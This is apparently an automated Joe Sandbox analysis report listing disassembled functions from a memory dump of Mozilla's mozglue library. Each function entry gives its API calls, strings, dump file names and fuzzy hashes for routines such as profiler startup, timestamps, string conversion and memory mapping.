??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA957BC
GetTickCount64.KERNEL32 ref: 6CA958CB
EnterCriticalSection.KERNEL32(6CAFF688), ref: 6CA958F3
__aulldiv.LIBCMT ref: 6CA95945
LeaveCriticalSection.KERNEL32(6CAFF688), ref: 6CA959B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CAFF638,?,?,?,?), ref: 6CA959E9

Strings

MOZ_APP_RESTART, xrefs: 6CA956CC

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 60ef48cb0876ce295b8ae29bb70da134caa6a6231a2c730a82567caa4877a142
Instruction ID: f4f614d60333e32ded4132de5f2c77ada864256a6c6ef30ceb0769d892707b4d
Opcode Fuzzy Hash: 60ef48cb0876ce295b8ae29bb70da134caa6a6231a2c730a82567caa4877a142
Instruction Fuzzy Hash: EEC16D31A183819FD709CF28D44265EB7F1BFCA715F058B1DE8D497660DB30A886CB82

Function 6CABEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA84A68), ref: 6CAB945E
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAB9470
Part of subcall function 6CAB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAB9482
Part of subcall function 6CAB9420: __Init_thread_footer.LIBCMT ref: 6CAB949F

GetCurrentThreadId.KERNEL32 ref: 6CABEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABEC8C

Part of subcall function 6CAB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAB94EE
Part of subcall function 6CAB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAB9508

GetCurrentThreadId.KERNEL32 ref: 6CABECA1
AcquireSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CABECC5
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CABED19
CloseHandle.KERNEL32(?), ref: 6CABED28
free.MOZGLUE(00000000), ref: 6CABED2F
ReleaseSRWLockExclusive.KERNEL32(6CAFF4B8), ref: 6CABED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CABEC94

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 694cdb89999752a36f0495d2636798d7b085cd0131be4a68286b24d2432dc4bc
Instruction ID: b658c4c529b8950335225b73e471022413d75109fc929f2fa4929276fabb80a0
Opcode Fuzzy Hash: 694cdb89999752a36f0495d2636798d7b085cd0131be4a68286b24d2432dc4bc
Instruction Fuzzy Hash: E921E175600209AFDB009F24FC04A9A77BDFB4636DF148214FD29A7741DB71988BCBA1

Function 6CAB8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA7EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA7EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CABB392,?,?,00000001), ref: 6CAB91F4

Part of subcall function 6CAACBE8: GetCurrentProcess.KERNEL32(?,6CA731A7), ref: 6CAACBF1
Part of subcall function 6CAACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA731A7), ref: 6CAACBFA

Strings

timeline-ipc, xrefs: 6CAB9096
stack-chart, xrefs: 6CAB90B2
marker-chart, xrefs: 6CAB905E
data, xrefs: 6CAB90E8
name, xrefs: 6CAB8F16
timeline-memory, xrefs: 6CAB9088
timeline-overview, xrefs: 6CAB907A
timeline-fileio, xrefs: 6CAB90A4
marker-table, xrefs: 6CAB906C

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f84398efecd95e63dc465e093f6b41b91e9d801b2fc4a20aed2868ac72d7acf8
Instruction ID: 66d2ef45552c7afdd74a9738228ab16a6c36d8acda6c714f30ad322712eb35f3
Opcode Fuzzy Hash: f84398efecd95e63dc465e093f6b41b91e9d801b2fc4a20aed2868ac72d7acf8
Instruction Fuzzy Hash: 69B1A1B1A012099BDB04CFA9C9917EEBBB9FB88308F144119D515ABF90D73199C9CBE1

Function 6CA9C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA9C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA9C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA9C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA9CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9CAA5

Strings

(null), xrefs: 6CA9C596
0, xrefs: 6CA9D30A

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 5f9ad99a0a0c9dc9f784a0e7456161a34c4ed8c2f6586c0e7cf0697bd9eae3e4
Instruction ID: bac26db493f5a76bbd2f37650d989a32cb73d22e8d4d252ea5f127642fd2b29e
Opcode Fuzzy Hash: 5f9ad99a0a0c9dc9f784a0e7456161a34c4ed8c2f6586c0e7cf0697bd9eae3e4
Instruction Fuzzy Hash: 75A1CC306187428FDB00DF28C98575ABBF5AF8974CF18892DE899D7741D731E889CB92

Function 6CA73480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CA73492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CA734A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CA734EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA7350E
__Init_thread_footer.LIBCMT ref: 6CA73522
__aulldiv.LIBCMT ref: 6CA73552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CA7357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CA73592

Part of subcall function 6CAAAB89: EnterCriticalSection.KERNEL32(6CAFE370,?,?,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284), ref: 6CAAAB94
Part of subcall function 6CAAAB89: LeaveCriticalSection.KERNEL32(6CAFE370,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CAAABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CA73508
kernel32.dll, xrefs: 6CA734EA

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 445e377e57dc3dff566dccd0e69bc46d0540bc7930db09e93a8857be95331c14
Instruction ID: 715ae171605a895c8590b728d4a718e77e09a516d6d41088ab78e7dc7c478f38
Opcode Fuzzy Hash: 445e377e57dc3dff566dccd0e69bc46d0540bc7930db09e93a8857be95331c14
Instruction Fuzzy Hash: AC310174B0130A9FDF18CFB8ED48AAE73B5FB45305F008119E5A193650EB309946CB60

Function 6CA74480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAB4843,?), ref: 6CA745F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAB4843,?), ref: 6CA7468A
free.MOZGLUE(?,?,?,?,?,?,6CAB4843,?), ref: 6CA746C9
free.MOZGLUE(?), ref: 6CA746EF
free.MOZGLUE(?), ref: 6CA74712
free.MOZGLUE(?), ref: 6CA74735
free.MOZGLUE(?), ref: 6CA74758
free.MOZGLUE(?), ref: 6CA7477B
free.MOZGLUE(?), ref: 6CA7479E

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: d6ba928933d4ce5a494a26e14ab92ceab2b0bc83fa4d2339f17f0737933c35d3
Instruction ID: 3aa78a42a53ecf3a55bc1974bda75b044a96e47191fd3830417f6e4af20393dd
Opcode Fuzzy Hash: d6ba928933d4ce5a494a26e14ab92ceab2b0bc83fa4d2339f17f0737933c35d3
Instruction Fuzzy Hash: 31B11579A001148FDB288F3CD9A476D77B2BF46328F180668E416DBB82D7359CC48FA1

Function 6CADAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CADAC52
CreateFileMappingW.KERNEL32 ref: 6CADAC7D
GetSystemInfo.KERNEL32 ref: 6CADAC98
MapViewOfFile.KERNEL32 ref: 6CADACB0
GetSystemInfo.KERNEL32 ref: 6CADACCD
MapViewOfFile.KERNEL32 ref: 6CADAD05
UnmapViewOfFile.KERNEL32 ref: 6CADAD1C
CloseHandle.KERNEL32 ref: 6CADAD28
UnmapViewOfFile.KERNEL32 ref: 6CADAD37
CloseHandle.KERNEL32 ref: 6CADAD43
CloseHandle.KERNEL32 ref: 6CADAD67

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 097cddd04f51cfd25cd9f3decbd8420769ac81906cd941194b357b8dbd422f75
Instruction ID: bf88f7e8a37ac085a1df75b46e36b630248cf1a5de6e88d4663856512391e27d
Opcode Fuzzy Hash: 097cddd04f51cfd25cd9f3decbd8420769ac81906cd941194b357b8dbd422f75
Instruction Fuzzy Hash: 623166B19047058FDB04EF7CE64826EBBF1FF85305F058A2DE99597211EB749489CB82

Function 6CA89620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA89675
__Init_thread_footer.LIBCMT ref: 6CA89697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA89707
__Init_thread_footer.LIBCMT ref: 6CA8971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA89773

Part of subcall function 6CAAAB89: EnterCriticalSection.KERNEL32(6CAFE370,?,?,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284), ref: 6CAAAB94
Part of subcall function 6CAAAB89: LeaveCriticalSection.KERNEL32(6CAFE370,?,6CA734DE,6CAFF6CC,?,?,?,?,?,?,?,6CA73284,?,?,6CA956F6), ref: 6CAAABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA897B7
FreeLibrary.KERNEL32 ref: 6CA897D0
FreeLibrary.KERNEL32 ref: 6CA897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA89824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA89670
MapViewOfFileNuma2, xrefs: 6CA897B1
ntdll.dll, xrefs: 6CA896E3
NtMapViewOfSection, xrefs: 6CA89701

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: f85605ef9681b4f2257087522f835f47809e1fd2fe9c7299a98ae286a2a4b91b
Instruction ID: e6e858cb73ddcbabe5b467fff77a7d3df188a8ec049ed1d51d2f600f89c04d68
Opcode Fuzzy Hash: f85605ef9681b4f2257087522f835f47809e1fd2fe9c7299a98ae286a2a4b91b
Instruction Fuzzy Hash: 5D416DB56013069FDF04CFA5FD84A96B7F5FB49314F148628ED2597B40E730A88ACBA1

Function 6CA71E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAFE784), ref: 6CA71EC1
LeaveCriticalSection.KERNEL32(6CAFE784), ref: 6CA71EE1
EnterCriticalSection.KERNEL32(6CAFE744), ref: 6CA71F38
LeaveCriticalSection.KERNEL32(6CAFE744), ref: 6CA71F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA71F83
LeaveCriticalSection.KERNEL32(6CAFE784), ref: 6CA71FC0
EnterCriticalSection.KERNEL32(6CAFE784), ref: 6CA71FE2
LeaveCriticalSection.KERNEL32(6CAFE784), ref: 6CA71FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA72019

Strings

MOZ_CRASH(), xrefs: 6CA72000

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 07a0c45b1d9a19064875e84c5565c58505f7c910c3e276a244f5e971d0e28f51
Instruction ID: fd20091a59099cfbb915e648b9d357ae15354da4d20b61e669fd63660dd7147e
Opcode Fuzzy Hash: 07a0c45b1d9a19064875e84c5565c58505f7c910c3e276a244f5e971d0e28f51
Instruction Fuzzy Hash: FD410675B003068FDF149FB9D898B6A3BB5FF49308F084125FA2997740D77198468BE1

Function 6CA87E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA87EA7
malloc.MOZGLUE(00000001), ref: 6CA87EB3

Part of subcall function 6CA8CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA8CB49
Part of subcall function 6CA8CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA8CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA87EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA87F19
malloc.MOZGLUE(?), ref: 6CA87F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA87F4D

Strings

d, xrefs: 6CA87F89

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 06825579efe8c3343b9c829c93bd2cdea579f45e0821d8a13160fdf2eaeb8e28
Instruction ID: 02cef30a85c83801d3c3fd035e8d57a43ee1cae0dc669a076957585f5f1e8791
Opcode Fuzzy Hash: 06825579efe8c3343b9c829c93bd2cdea579f45e0821d8a13160fdf2eaeb8e28
Instruction Fuzzy Hash: 34312871E0034D97DB009B69DD449FEB778EF96208F049728ED59AB612FB30A9C9C390

Function 6CA83E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CA83EEE
RtlFreeHeap.NTDLL ref: 6CA83FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CA84006
RtlFreeHeap.NTDLL ref: 6CA840A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA83CCC), ref: 6CA840AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA83CCC), ref: 6CA840C2
RtlFreeHeap.NTDLL ref: 6CA84134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CA83CCC), ref: 6CA84143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CA83CCC), ref: 6CA84157

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 749ec011ccd9c0e22f1fb006db6a4cd6dcb12bbfc0cc0c1ba33e304fb2820b30
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 52A18EB1A02215CFDB40CF28C98075ABBB5FF48318F294599D909AF742D775EC86CBA0

Function 6CAC9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAC8273), ref: 6CAC9D65
free.MOZGLUE(6CAC8273,?), ref: 6CAC9D7C
free.MOZGLUE(?,?), ref: 6CAC9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAC9E0F
free.MOZGLUE(6CAC946B,?,?), ref: 6CAC9E24
free.MOZGLUE(?,?,?), ref: 6CAC9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAC9EC8
free.MOZGLUE(6CAC946B,?,?,?), ref: 6CAC9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAC9EF5

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 2c8260206a4e8412d50567d9a554fb41da991349cbffe522df325b0c6c4da808
Instruction ID: 7570b9fee2b63587b6d6c4f18ab5c9b81058cf6bba7631a2c470304759ec9d70
Opcode Fuzzy Hash: 2c8260206a4e8412d50567d9a554fb41da991349cbffe522df325b0c6c4da808
Instruction Fuzzy Hash: 29719F70A09B418FD712CF28C68155BF3F5FF99319B449619E85A5BB01EB31E8C9CB82

Function 6CACDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CACDDCF

Part of subcall function 6CAAFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAAFA4B

Part of subcall function 6CAC90E0: free.MOZGLUE(?,00000000,?,?,6CACDEDB), ref: 6CAC90FF
Part of subcall function 6CAC90E0: free.MOZGLUE(?,00000000,?,?,6CACDEDB), ref: 6CAC9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CACDE0D
free.MOZGLUE(00000000), ref: 6CACDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CACDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CACDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CACDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CABDEFD,?,6CA84A68), ref: 6CACDF32

Part of subcall function 6CACDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CACDB86
Part of subcall function 6CACDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CACDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CABDEFD,?,6CA84A68), ref: 6CACDF65
free.MOZGLUE(?), ref: 6CACDF80

Part of subcall function 6CA95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA95EDB
Part of subcall function 6CA95E90: memset.VCRUNTIME140(6CAD7765,000000E5,55CCCCCC), ref: 6CA95F27
Part of subcall function 6CA95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA95FB2

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 4c328b5cbb602b4d2def98409cb3e8c9f90f0f14ddd064e7afb230c317b4e574
